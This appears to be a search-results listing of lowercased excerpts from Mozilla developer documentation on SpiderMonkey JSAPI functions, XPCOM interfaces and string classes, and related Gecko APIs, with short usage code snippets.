JS_SetErrorReporter
obsolete since jsapi 52
this feature is obsolete.
...you can work around
this by using the js_setruntimeprivate and js_getruntimeprivate methods.
... example code with error handling omitted: class myrequest { public: void execute() { auto rt = js_newruntime(memlimit); js_setruntimeprivate(rt,
this); js_seterrorreporter(rt, &myrequest::dispatcherror); // execute js } void onerror(const std::string& error) { // handle error } static void dispatcherror( jscontext* ctx, const char* message, jserrorreport* report) { auto rt = js_getruntime(ctx); auto rt_userdata = js_getruntimeprivate(rt); if (rt_userdata) { auto req = static_cast<myrequest*>(rt_userdata); req->onerror(message); } } }; see also mxr id search for js_geterrorreporter mxr id search for js_seterrorrep...
JS_SetExtraGCRoots
this article covers features introduced in spidermonkey 1.8 register externally maintained gc roots.
...
this is described below.
...
this is the data value that was passed to js_setextragcroots when
this callback function was installed.
JS_SetGCCallback
the application may store
this return value in order to restore the original callback when the new callback is no longer needed.
...some quirky behavior follows from
this: the javascript engine can call the gc callback reentrantly on a single thread.
...but the javascript engine will then detect that gc is already happening and will not actually do a nested gc cycle in
this case.
JS_SetGCZeal
this article covers features introduced in spidermonkey 1.8 enable gc zeal, a testing and debugging feature that helps find gc-related bugs in jsapi applications.
...
this function is available only in debug builds.
... to enable
this function in an optimized build, define the macro js_gc_zeal building spidermonkey.
JS_SetNativeStackQuota
this article covers features introduced in spidermonkey 17 enable or disable checks to avoid overflowing the c stack.
... the stack quotas for each kind of code should be monotonically descending, and may be specified with
this function.
...
this function may only be called immediately after the runtime is initialized and before any code is executed and/or interrupts requested.
JS_SetPrivate
this pointer must be aligned to a 2-byte boundary.
...memory management of
this field is the application's responsibility.
...
this could lead to a crash or worse.
JS_SetThreadStackLimit
obsolete since jsapi 13
this feature is obsolete.
...
this is deprecated, use js_setnativestackquota instead.
...
this should be a safely writeable address well short of the actual top of the stack.
JS_TracerInit
obsolete since jsapi 31
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8 note: in jsapi 12, the macro js_tracer_init has been replaced by the function js_tracerinit initialize a jstracer for object graph tracing.
...in
this case the callback must be prepared to deal with cycles in the traversal graph.
JS_ValueToBoolean
obsolete since jsapi 28
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this is the behavior specified in ecma 262-3 §9.2.
JS_ValueToECMAInt32
obsolete since jsapi 28
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this second conversion cannot fail.
JS_ValueToObject
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...on success,
this function stores either null or a pointer to the resulting object in *objp and returns true.
...if v is a native javascript object,
this calls the object's valueof method, if any.
Setting up CDT to work on SpiderMonkey
the initial build was in clang, so the modified build commands look like
this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use ccache, you can enable it by adding --with-ccache to the arguments list.
... at
this point, the indexer starts running and already produces a pretty decent index of much of spidermonkey.
... instead, change "build command" to read make -w (
this is required because cdt needs detailed information about which directories make operates on, which using -w causes make to provide).
Mozinfo
the various checks needed lead to a lot of copy+pasting, leaving the reader to wonder....is
this specific check necessary for (e.g.) an operating system?
... mozinfo proposes to solve
this problem.
... mozinfo.py is the only file contained is
this package, so if you need a single-file solution, you can just download or call
this file through the web.
Browser security
a web pki x509 certificate primerx.509 (in
this document referred as x509) is an itu standard to describe certificates.
...
this article provides an overview of what these are and how they work.exploitable crashes
this article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.handling mozilla security bugs
this document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page.
... secure development guidelinesthe following content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla.security and the jar protocol
this article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web content.
Task graph
how does
this work?
... all of
this is controlled from within the gecko source code, through a process called task-graph generation.
...
this means it's easy to add a new job or tweak the parameters of a job in a try push, eventually landing that change on an integration branch.
Implementation Details
introduction
this article is a reference how gecko implements at apis.
...at-spi events refer to specific pages to get information of supported events for interested at api: gecko msaa ia2 at-spi implementation features
this section highlights special features of at apis implementation by gecko.
...please refer to pages below for interesting at api: msaa ia2 at-spi differences with other applications
this section provides information about implementation differences between gecko based applications and other applications.
Accessibility API Implementation Details
at apis support
this documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software.
...
this article (from 2007) reviews the progress and technology as it has developed.
... xforms accessibility
this article provides a quick guide to how accessibility is handled in gecko for xforms.xul accessibility
this article shows how xul control elements are mapped to accessibility api.
Frecency algorithm
this score is determined by the amount of revisitation, the type of those visits, how recent they were, and whether the uri was bookmarked or tagged.
...places with
this value can show up in autocomplete results.
...points for each sampled visit = (bonus / 100.0) * weight final frecency score for visited uri = ceiling(total visit count * sum of points for sampled visits / number of sampled visits) example
this is an example of a frecency calculation for a uri that is bookmarked and has been visited twice recently (once yesterday, and once last week by clicking a link), and two other times more than 90 days ago: 0 default score +140 100 * (140/100.0) - first bucket weight and bookmarked bonus +84 70 * (120/100.0) - second bucket weight and followed-link bonus ...
Using the Places keywords API
keywords in firefox are currently created through the add keyword for
this search contextual menu option in form text fields.
... note
this is the same feature previously known as bookmark keywords, the key difference is that keywords are not bound to a specific bookmark, but to a specific url.
... using the keywords api the keywords api is a promise-based api available through the placesutils module: components.utils.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazymodulegetter(
this, "placesutils", "resource://gre/modules/placesutils.jsm"); setting a keyword for an url the insert() method accepts a keyword entry object describing the keyword to insert.
extIExtension
this content covers features introduced in thunderbird 3 the extiextension interface represents an extension.
... firstrun readonly attribute boolean indicates whether
this is the extension's first run after install prefs readonly attribute extipreferencebranch the preferences object for the extension.
...you may need to reset
this preference in about:config during testing.
Resources
« previous
this last section of the book provides a list of resources referred to in the tutorial and other links that may be useful to the gecko developer.
...
this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later.
... distribution of substantively modified versions of
this document is prohibited without the explicit permission of the copyright holder.
Making cross-thread calls using runnables
note: javascript code cannot use the techniques described in
this article.
...for example, let's say we have a function, calculatepi(int digits), which will calculate π to an arbitrary number of digits: void calculatepi(int digits, nscstring& result); //
this is synchronous
this can take a while, so we don't want to run
this on the main thread.
...#include "nsthreadutils.h" class piresulttask : public nsrunnable { public: piresulttask(picallback callback, const nsacstring& result) : mcallback(callback) , mresult(result) , mworkerthread(do_getcurrentthread()) { moz_assert(!ns_ismainthread()); //
this should be running on the worker thread } ns_imethod run() { moz_assert(ns_ismainthread()); //
this method is supposed to run on the main thread!
Components.lastResult
this is because failure result codes get converted by xpconnect into exceptions that are thrown into the calling javascript method.
...
this is because many 'components' properties and methods are themselves implemented using xpconnect and subsequent calls to components.lastresult might reflect the result of 'implicit' xpconnect calls rather than the result of the target call.
... break; case 5: // do something with 5 here break; case 6: // do something with 6 here break; default: //
this was a success code we did not expect.
Components.utils.forceGC
this mechanism doesn't account for any native (c++) xpcom objects hanging off javascript objects though.
...in
this case it can be important to be able to force a garbage collection cycle from javascript.
...
this will make sure that xpcom components that build cycles with javascript objects also get collected which might be important, for example for testcases that depend on the garbage collector.
Components.utils.getGlobalForObject
this method is used to determine the global object with which an object is associated.
...
this is the global object in place at the time the object was created, which is to say the global object used when executing the script that created the object.
... syntax var global = components.utils.getglobalforobject(obj); parameters obj an object whose corresponding global object is to be retrieved; non-optional, must be object-valued example var obj = {}; function foo() { } var global =
this; var g1 = components.utils.getglobalforobject(foo); var g2 = components.utils.getglobalforobject(obj); // g1 === global, g2 === global, g1 === g2 // in a script in another window var global2 =
this; function bar() { } var obj2 = {}; // then, assuming bar refers to the function defined in that other window: var o1 = components.utils.getglobalforobject(bar); var o2 = components.utils.getglobalforobject(obj2); // o1 === global2, o2 === global2 ...
Components.utils.import
in case of doubt,
this is generally a good scope.
... example components.utils.import("resource://gre/modules/xpcomutils.jsm",
this); difference from mozijssubscriptloader the differences from mozijssubscriptloader: the behavior when importing/loading the same code from different locations: the subscript loader evaluates the specified code each time it is invoked, with the caller's global object.
...
this means components.utils.import is better suited for efficient sharing of code (and data?) between js scripts running in different scope.
Components.utils.reportError
this means you can use components.utils.reporterror to report debugging messages to the error console, just like dump() can be used to print messages to the native console.
... firefox 4: the preference 'javascript.options.showinconsole' is set to true by default in
this version.
... examples usage in an exception handler: try {
this.could.raise.an.exception; } catch(e) { components.utils.reporterror(e); // report the error and continue execution } sending debugging messages to the error console: components.utils.reporterror("init() called"); ...
Components.utils.schedulePreciseGC
this method lets scripts schedule a garbage collection cycle.
...
this is useful particularly when testing for memory leaks, because normal garbage collection is conservative when javascript code is running to ensure that in-use memory isn't inadvertently collected.
...using scheduleprecisegc() when you call components.utils.scheduleprecisegc(), you specify a callback that is executed in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { //
this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collect all javascript-related memory), the callback lets you know when that's been finished.
Components object
non-standard
this feature is non-standard and is not on a standards track.
... warning:
this object is only intended for code running with chrome privileges.
...if you use
this object on your web page, your site might break at any time!
PyXPCOM
this article gives you a head start to pyxpcom.
... note: the links to part ii and iii of
this series are broken and i cannot find them on the ibm site.
... please update
this page if/when the links can be found.
nsIRegistry
it works like
this.
... { var data = st.currentitem(); if( data instanceof ci.nsiregistrynode ) print("nsiregistrynode: " + data.nameutf8 + " (" + data.key + ")"); st.next(); } while( components.lastresult == 0 ); } catch(e) {} now, the output is something like: profiles (344) profiles/default (530) profiles/foo (1046) profiles/bar (1518) the number inside the parenthesis is the "key." you can use
this key with the rest of the nsiregistry api (see mxr).
...js> rs.flush() //
this is not enough...
HOWTO
both success and error callbacks, put: gscriptdone = true; if you forget some condition where your script should exit but you don't add
this statement, your script will hang (busy wait).
...
this is of course a massive, ugly hack prone to error, but
this is what the xpcshell test harness does.
... mozdir = cc["@mozilla.org/file/directory_service;1"] .getservice(ci.nsiproperties) .get("curprocd", ci.nsilocalfile); let mozdiruri = ios.newfileuri(mozdir); reshandler.setsubstitution("app", mozdiruri); // register chrome://* uris let cr = cc["@mozilla.org/chrome/chrome-registry;1"] .getservice(ci.nsichromeregistry); cr.checkfornewchrome(); } bug 546628 would make
this unnecessary.
NS_Alloc
return values
this function returns a pointer to the allocated block of memory, which is suitably aligned for any kind of variable, or null if the allocation failed.
... remarks
this function provides a convenient way to access the xpcom memory manager.
...history
this function was finalized for mozilla 1.8.
Append
void append( const self_type& astring ); parameters astring [in] a nsacstring to append to
this string.
... void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to
this string.
... void append( char_type achar ); parameters achar [in] a character to append to
this string.
Assign
void assign( const self_type& astring ); parameters astring [in] a nsacstring to copy into
this string.
... void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into
this string.
... void assign( char_type achar ); parameters achar [in] the character to copy into
this string.
Insert
void insert( const self_type& astring, index_type aposition ); parameters astring [in] a nsacstring to append to
this string.
... void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to
this string.
... void insert( char_type achar, index_type aposition ); parameters achar [in] a character to append to
this string.
Replace
astring [in] a nsacstring to append to
this string.
...adata [in] a raw character array to append to
this string.
...achar [in] a character to append to
this string.
Append
void append( const self_type& astring ); parameters astring [in] a nsastring to append to
this string.
... void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to
this string.
... void append( char_type achar ); parameters achar [in] a character to append to
this string.
Assign
void assign( const self_type& astring ); parameters astring [in] a nsastring to copy into
this string.
... void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into
this string.
... void assign( char_type achar ); parameters achar [in] the character to copy into
this string.
Insert
void insert( const self_type& astring, index_type aposition ); parameters astring [in] a nsastring to append to
this string.
... void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to
this string.
... void insert( char_type achar, index_type aposition ); parameters achar [in] a character to append to
this string.
Replace
astring [in] a nsastring to append to
this string.
...adata [in] a raw character array to append to
this string.
...achar [in] a character to append to
this string.
nsEmbedCString
}; typedefs self_type [nsembedcstring] an alias for the type of
this class.
... abstract_string_type [nsacstring] an alias for the abstract string type
this class specializes.
... operators operator=
this operator is a shortcut for the inherited nsacstring::assign family of functions.
nsEmbedString
}; typedefs self_type [nsembedstring] an alias for the type of
this class.
... abstract_string_type [nsastring] an alias for the abstract string type
this class specializes.
... operators operator=
this operator is a shortcut for the inherited nsastring::assign family of functions.
Realloc
this may be nsnull, in which case realloc behaves like nsmemory::alloc.
...
this may be 0, in which case realloc behaves like nsmemory::free.
... return values
this function returns nsnull if the memory allocation fails.
nsSupportsWeakReference
« xpcom api reference summary inherit from
this c++ class to add canonical support for nsisupportsweakreference.
...}; remarks in addition to inheriting from
this class, you will need to ensure that your nsisupports::queryinterface implementation exposes nsisupportsweakreference as a supported interface.
... to use
this class, you must link your component or application against the xpcom glue library.
XPCOM glue classes
this class is typically used to represent ascii or utf-8 character arrays.nsacstring (external)class declarationnsacstring_internalclass declarationnsadoptingcstringclass declarationnsadoptingstringclass declarationnsastringthe nsastring abstract class represents a character string composed of double-byte storage units.
...
this class is typically used to represent unicode character arrays.nsastring (external)class declarationnsastring_internalclass declarationnsautorefnsautoref<t> is a template class implementing an object that holds a handle to a resource that must be released, typically on destruction of the object.</t>nsautoreftraitsnsautoreftraits<t> is a template class describing traits of resources held by objects of class nsautoref<t> and/or nscountedref<t>.</t>nsautostringclass declarationnsautostring (external)class declarationnscautostringclass declarationnscautostring (external)class declarationnscomptr
this utility class simplifies managing xpcom interface references from c++ code.nscountedrefnscountedref<t> is a template class implementing an object that takes a strong reference to a reference-count...
...
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper around a count of the number of references refering to the class.nsstringclass declarationnsstring externalclass declarationnsstringcontainer (external)class declarationnssupportsweakreferenceinherit from
this c++ class to add canonical support for nsisupport...
IJSDebugger
you should usually interface with
this using the javascript code module instead of directly.
... 1.0 66 introduced gecko 9.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/jsdebugger;1 as a service: var jsdebugger = components.classes["@mozilla.org/jsdebugger;1"] .createinstance(components.interfaces.ijsdebugger); note: you should almost never directly use
this service; instead, you should use the javascript code module that does
this for you.
... the only time you should directly use
this interface to create the debugger object is if you need to debug chrome; due to bug 707237, the javascript code module doesn't work in that case.
imgICache
image/public/imgicache.idlscriptable please add a summary to
this article.
...ns images you care about, or relevantchannel is an nsichannel that is used for fetching images): var tools = components.classes["@mozilla.org/image/tools;1"].getservice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but
this will cause any image cache requests to use the permanent storage cache (ie.
... findentryproperties() find properties used to get properties such as 'type' and 'content-disposition' 'type' is a nsisupportscstring containing the images' mime type such as 'image/png' 'content-disposition' will be a nsisupportscstring containing the header if you call
this before any data has been loaded from a uri, it will succeed, but come back empty.
inIDOMUtils
if you have requested anonymous content, then if the element has an xbl binding then
this will be the binding's anonymous nodes, otherwise if the element is itself an anonymous node containing an insertion point then
this will be a list combining the element's explicit children from its binding parent's anonymous nodes and any children inserted as a result of the insertion point.
...in particular,
this will be false if certain css white-space styles are in effect.
...
this must be one (and only one) of the values listed in content state flags.
mozIStorageError
storage/public/mozistorageerror.idlscriptable please add a summary to
this article.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports attributes attribute type description message autf8string a human readable error string with details;
this may be null if no details are available.
... result long one of the error code values listed under constants on
this page.
mozIStoragePendingStatement
storage/public/mozistoragependingstatement.idlscriptable please add a summary to
this article.
...return value in versions of gecko prior to gecko 1.9.2,
this returned a boolean value that was true if the query was canceled successfully or false if not.
... starting with gecko 1.9.2,
this information is no longer provided and the method doesn't return a value.
mozIStorageStatementCallback
storage/public/mozistoragestatementcallback.idlscriptable please add a summary to
this article.
...
this function may be called more than once with a different storageierror each time for any given asynchronous statement, and handlecompletion will be called once the statement is complete.
...generally,
this method will be called several times, each time providing one or more results.
mozIStorageStatementParams
this interface has no defined properties, but has properties based on the named parameters found in the sql from the statement it was accessed off of.
... for example, say you create a statement like so: var statement = dbconn.createstatement("select * from table_name where id = :item_id");
this object would have one property, item_id, that you can use to bind a value to that named parameter like so: statement.params.item_id = 2; for more details on why you should bind parameters as opposed to hard-coding them into your statement, please see the overview document about binding parameters.
... enumeration of properties you can also enumerate all the properties on
this object with a for..in enumeration: // valuestobind is an object that contains key-value pairs // to bind to the statement before executing it.
mozIVisitInfoCallback
toolkit/components/places/public/moziasynchistory.idlscriptable
this interface provides callback handling functionality for moziasynchistory.updateplaces() 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview void handleerror(in nsresult aresultcode, in moziplaceinfo aplaceinfo); void handleresult(in moziplaceinfo aplaceinfo); void oncomplete(in nsresult aresultcode, in moziplaceinfo aplaceinfo);obsolete since gecko 8.0 methods handleerror() called when a moziplaceinfo couldn't be processed.
... if more than one operation is done for a given visit,
this method is only called once (for all changes at once).
... notes
this method was replaced by the separate handleresult() and handleerror() methods in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5).
TakeFocus
« nsiaccessible page summary
this method focuses
this accessible node.
... void takefocus(); remarks the state state_focusable indicates whether
this node is normally focusable.
... it is the callers responsibility to determine whether
this node is focusable.acctakefocus on a node that is not normally focusable (such as a table), will still set focus on that node, although normally that will not be visually indicated in most style sheets.
nsIAccessibleImage
accessible/public/nsiaccessibleimage.idlscriptable
this interface allows in-process accessibility clients to retrieve information about an image.
...
this method is the same as nsiaccessible.getbounds() excepting coordinate origin parameter.
...
this method is the same as nsiaccessible.getbounds().
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateservice.idlscriptable
this interface describes a global application service that handles performing background update checks.
...
this depends on whether or not the current user has the necessary access privileges for the install directory.
...
this information is most commonly used to update a user interface that informs the user as to the status of an update.
nsIArray
xpcom/ds/nsiarray.idlscriptable
this interface implements an array object.
...documentation within a specific interface should describe variations from
this convention.
...null is a valid result for
this method, but exceptions are thrown in other circumstances.
nsIAsyncStreamCopier
netwerk/base/public/nsiasyncstreamcopier.idlscriptable
this interface is used to copy the contents of one stream to another.
...
this controls the granularity of the copy operation.
...
this value should match the segment size of any buffered streams involved in the operation.
nsIAuthPromptCallback
they must not call any method on
this interface before nsiauthprompt2.asyncpromptauth() returns.
...note: any exceptions thrown from
this method should be ignored.
... usercancel if false,
this prompt was cancelled by calling the the cancel method on the nsicancelable; otherwise, it was cancelled by the user.
nsIAutoCompleteInput
toolkit/components/autocomplete/public/nsiautocompleteinput.idlscriptable
this interface monitors the input in a text field and displays an autocomplete panel at the appropriate time.
... void onsearchbegin(); void onsearchcomplete(); boolean ontextentered(); boolean ontextreverted(); void selecttextrange(in long startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a search result has its defaultindex set,
this will optionally try to complete the text in the textbox to the entire text of the result at the default index as the user types.
...
this means that auto-fill is enabled.
nsIAutoCompleteObserver
toolkit/components/autocomplete/public/nsiautocompletesearch.idlscriptable please add a summary to
this article.
...void onsearchresult( in nsiautocompletesearch search, in nsiautocompleteresult result ); parameters search the search object that processed
this search.
...void onupdatesearchresult( in nsiautocompletesearch search, in nsiautocompleteresult result ); parameters search the search object that processed
this search.
nsIBinaryInputStream
xpcom/io/nsibinaryinputstream.idlscriptable
this interface allows consumption of primitive data types from a "binary stream" containing untagged, big-endian binary data, that is as produced by an implementation of nsibinaryoutputstream.
...
this might be used, for example, to implement network protocols or to read from architecture-neutral disk files, that is ones that can be read and written by both big-endian and little-endian platforms.
... warning:
this method is available from javascript; however javascript does not support 64-bit integers.
nsIBinaryOutputStream
xpcom/io/nsibinaryoutputstream.idlscriptable
this interface allows writing of primitive data types (integers, floating-point values, booleans, and so on.) to a stream in a binary, untagged, fixed-endianness format.
...
this might be used, for example, to implement network protocols or to produce architecture-neutral binary disk files, that is ones that can be read and written by both big-endian and little-endian platforms.
... output is written in big-endian order (high-order byte first), as
this is traditional network order.
nsIBrowserBoxObject
layout/xul/base/public/nsibrowserboxobject.idlscriptable please add a summary to
this article.
... inherits from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul browser element implements
this interface.
...the browser.xml binding uses
this property to gain access to the webnavigation, contentdocument, contentwindow, webbrowserfind, webprogress and sessionhistory properties.
nsICRLInfo
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description lastfetchurl autf8string the url
this crl was last fetched from.
... lastupdate prtime the time
this crl was created at.
... nextupdate prtime the time the suggested next update for
this crl.
nsICacheListener
netwerk/cache/nsicachelistener.idlscriptable
this interface is a cache listener.
... inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void oncacheentryavailable(in nsicacheentrydescriptor descriptor, in nscacheaccessmode accessgranted, in nsresult status); void oncacheentrydoomed(in nsresult status); methods oncacheentryavailable()
this method is called when the requested access (or appropriate subset) is acquired.
... oncacheentrydoomed()
this method is called when the processing started by nsicachesession.doomentry() is completed.
nsICommandLineHandler
the entries in
this category are read in alphabetical order, and each category value is treated as a service contract id implementing
this interface.
... m-irc @mozilla.org/chatzilla/clh;1 command-line-handler y-final @mozilla.org/browser/clh-final;1 method overview void handle(in nsicommandline acommandline); attributes attribute type description helpinfo autf8string when the application is launched with the -help argument,
this attribute is retrieved and displayed to the user (on stdout).
...if
this handler finds arguments that it understands, it should perform the appropriate actions (such as opening a window), and remove the arguments from the command-line array.
nsICommandLineRunner
toolkit/components/commandlines/public/nsicommandlinerunner.idlscriptable please add a summary to
this article.
...
this is used to resolve file and uri paths.
...
this is an nsicommandline state flag.
nsIContainerBoxObject
layout/xul/base/public/nsicontainerboxobject.idlscriptable please add a summary to
this article.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul browser, editor or iframe element implements
this interface.
...the browser.xml, editor.xml and general.xml bindings use
this property to gain access to other properties such as webnavigation, contentdocument and contentwindow.
nsIContentFrameMessageManager
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisyncmessagesender
this interface provides the environment for scripts that are loaded into content frames using the nsiframescriptloader interface.
... examples once you obtain the conten frame messge manager, you can send messages to listeners who registered with services.mm.addmessagelistener get content message manager from browser
this could would run in a nsidomwindow scope.
... var acfmm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside a tab,
this code would run from a framescript.
nsIContentPrefCallback2
this will be called exactly once for each method invocation, and afterward no other callback methods will be called.
...
this may be called multiple times before handlecompletion is called.
... handleresult() for the retrieval methods,
this is called once for each retrieved preference.
nsICookieStorage
obsolete since gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
...
this interface represents the storage repository for cookies.
... modules/plugin/base/public/nsicookiestorage.idlnot scriptable please add a summary to
this article.
nsIDNSListener
netwerk/dns/nsidnslistener.idlscriptable please add a summary to
this article.
...
this parameter is null if there was an error.
... astatus if the lookup failed,
this parameter gives the reason.
nsIDOMClientRect
height float height of the rectangle box (
this is identical to bottom minus top).
... width float width of the rectangle box (
this is identical to right minus left).
... see also cssom view module : the clientrect interfacewd
this object was renamed a few times: initial name was textrectangle, then clientrect, then domrect.
nsIDOMHTMLAudioElement
dom/interfaces/html/nsidomhtmlaudioelement.idlscriptable please add a summary to
this article.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidomhtmlmediaelement method overview unsigned long long mozcurrentsampleoffset(); void mozsetup(in pruint32 channels, in pruint32 rate); [implicit_jscontext] unsigned long mozwriteaudio(in jsval data); methods mozcurrentsampleoffset() non-standard
this feature is non-standard and is not on a standards track.
...mozsetup() non-standard
this feature is non-standard and is not on a standards track.
nsIDOMStorage
dom/interfaces/storage/nsidomstorage.idlscriptable
this interface represents the storage space used for session storage in the dom.
...keys are stored in a particular order with the condition that
this order not change by merely changing the value associated with a key, but the order may change when a key is added or removed.
... methods clear() clear the content of
this storage bound to a domain or an origin.
nsIDOMStorageEventObsolete
obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
... dom/interfaces/storage/nsidomstorageeventobsolete.idlscriptable
this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage.
... note:
this interface describes the old, non-standard form of
this event.
nsIDOMStorageWindow
dom/interfaces/storage/nsidomstoragewindow.idlscriptable
this interface provides access to a dom window's client side storage objects.
... all dom windows inherit from
this interface.
... 1.0 66 introduced gecko 1.8.1 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0
this interface has been merged into nsidomwindow, and
this interface has been removed.
nsIDeviceMotionData
xpcom/system/nsidevicemotion.idlscriptable
this interface provides information about device motion.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note:
this interface was named nsidevicemotiondata prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... attributes attribute type description type unsigned long the type of motion data reported by
this object; see motion type constants for possible values.
nsIDirectoryEnumerator
xpcom/io/nsidirectoryenumerator.idlscriptable
this interface provides a means for enumerating the contents of a directory.
...
this attribute is null if there is no next element.
...it is safe to call
this function many times.
nsIDirectoryServiceProvider2
inherits from: nsidirectoryserviceprovider last changed in gecko 0.9.6 method overview nsisimpleenumerator getfiles(in string prop); methods getfiles() the directory service calls
this when it gets a request for a prop and the requested type is nsisimpleenumerator.
...use an xpcom return code of ns_success_aggregate_result if
this result should be aggregated with other "lower" providers.
... if you are implementing
this from js, you would be using components.returncode, but sadly
this does not currently work (see bug 287107).
nsIDownloadHistory
docshell/base/nsidownloadhistory.idlscriptable
this interface can be used to add a download to history.
...
this will also notify observers that the uri asource is visited with the topic ns_link_visited_event_topic if asource has not yet been visited.
...
this cannot be null.
nsIDragDropHandler
use
this to register where the listeners should attach (something that implements nspidomeventtarget which is what we end up using under the hood).
... content/base/public/nsidragdrophandler.idlscriptable please add a summary to
this article.
...if
this is null, the client must handle the drop itself, either through the method provided via overridedrop() or by letting the event bubble up through the dom.
nsIEditorBoxObject
layout/xul/base/public/nsieditorboxobject.idlscriptable please add a summary to
this article.
... inherits from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul editor element implements
this interface.
...the editor.xml binding uses
this property to gain access to the webnavigation, contentdocument, contentwindow, webbrowserfind, editingsession and commandmanager properties.
nsIEditorDocShell
method overview void makeeditable(in boolean inwaitforuriload); attributes attribute type description editable boolean
this docshell is editable.
... haseditingsession boolean
this docshell has an editing session.
... methods makeeditable() make
this docshell editable, setting a flag that causes an editor to get created, either immediately, or after a url has been loaded.
nsIEnvironment
this method checks whether an environment variable is present in the environment or not.
...examples windows
this example gets the path to the porgram files directory on windows.
... var nsienvironment = components.classes["@mozilla.org/process/environment;1"].getservice(components.interfaces.nsienvironment); var pathtoprogramfiles = nsienvironment.get("programfiles"); //for me
this returns "c:\program files" ...
nsIFeedContainer
toolkit/components/feeds/public/nsifeedcontainer.idlscriptable
this interface provides standard fields used by both feeds (nsifeed) and feed entries (nsifeedentry) 1.0 66 introduced gecko 1.8 inherits from: nsifeedelementbase last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) method overview void normalize(); attributes attribute type description authors nsiarray an array of nsifeedperson objects describing the authors of the feed or entry.
...keep in mind that some feeds have no title, and some use markup in their titles, so be cautious when decoding
this attribute.
...
this string is parsable by javascript and mail code.
nsIFileOutputStream
netwerk/base/public/nsifilestreams.idlscriptable
this interface is an output stream that lets you stream to a file.
... note: using
this flag results in the file not being opened during the call to init().
...
this means that any errors that might happen when
this flag is not set would happen during the first write, and if the file is to be created, it will not appear on the disk until the first write.
nsIFileURL
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) attributes attribute type description file nsifile get/set nsifile corresponding to
this url.
...note:
this constraint might not be enforced at runtime, so beware!
... the setter clones the nsifile object (allowing the caller to safely modify the nsifile object after setting it on
this interface).
nsIGeolocationProvider
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)
this must be called on the main thread interface provides location information to the nsgeolocator via the nsidomgeolocationcallback interface.
...
this is called before any other method and may be called multiple times.
...your location provider should call
this routine whenever new position data is available.
nsIGlobalHistory2
docshell/base/nsiglobalhistory2.idlscriptable
this interface provides information about global history to gecko.
... inherits from: nsisupports last changed in gecko 1.7
this interface replaces and deprecates nsiglobalhistory method overview void adduri(in nsiuri auri, in boolean aredirect, in boolean atoplevel, in nsiuri areferrer); boolean isvisited(in nsiuri auri); void setpagetitle(in nsiuri auri, in astring atitle); methods adduri() add a uri to global history.
... aredirect whether the uri was redirected to another location;
